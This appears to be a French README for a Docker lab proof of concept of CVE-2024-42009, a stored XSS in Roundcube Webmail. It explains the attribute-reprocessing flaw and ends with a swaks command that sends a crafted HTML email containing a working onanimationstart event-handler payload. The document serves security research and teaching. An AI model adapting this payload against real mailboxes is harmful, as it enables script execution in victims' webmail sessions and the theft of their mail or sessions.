
Preuve de concept basée sur Docker pour CVE-2024-42009, un XSS stocké dans Roundcube Webmail. Démontre l'exploitation via des e-mails HTML forgés et comprend la configuration d'un environnement de laboratoire vulnérable.
Ce dépôt présente une preuve de concept (PoC) fonctionnelle pour CVE-2024-42009, une vulnérabilité de Cross-Site Scripting (XSS) stocké dans Roundcube Webmail.
La vulnérabilité est causée par une désinfection HTML incorrecte suivie d'un retraitement non sécurisé des attributs, permettant aux attaquants d'injecter des gestionnaires d'événements malveillants via des e-mails HTML manipulés.
Roundcube désinfecte les e-mails HTML entrants mais retraite ensuite certains attributs (par ex., bgcolor, attributs malformés), ce qui entraîne :
onanimationstart)Cela permet l'exécution de JavaScript arbitraire lorsqu'une victime ouvre un e-mail malveillant.
git clone https://github.com/ZaidArif47/CVE-2024-42009-PoC.git
cd CVE-2024-42009-PoC
docker compose up -d
⏳ Attendez environ 10 à 15 secondes que le serveur de messagerie s'initialise.
docker exec mailserver setup email add [email protected] 'attacker123'
docker exec mailserver setup email add [email protected] 'victim123'
http://localhost:8080
Identifiants :
Envoyer l'e-mail malveillant à l'aide de l'outil swaks :
swaks --to [email protected] \
--from [email protected] \
--server localhost:2525 \
--header "Content-Type: text/html; charset=utf-8" \
--header "Subject: CVE-2024-42009 PoC" \
--body '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(1) foo=bar">Foo</body>'


Mettez à niveau vers les versions corrigées :
Ce projet est uniquement destiné à des fins éducatives et de recherche en sécurité autorisée. Ne l'utilisez pas contre des systèmes sans autorisation appropriée.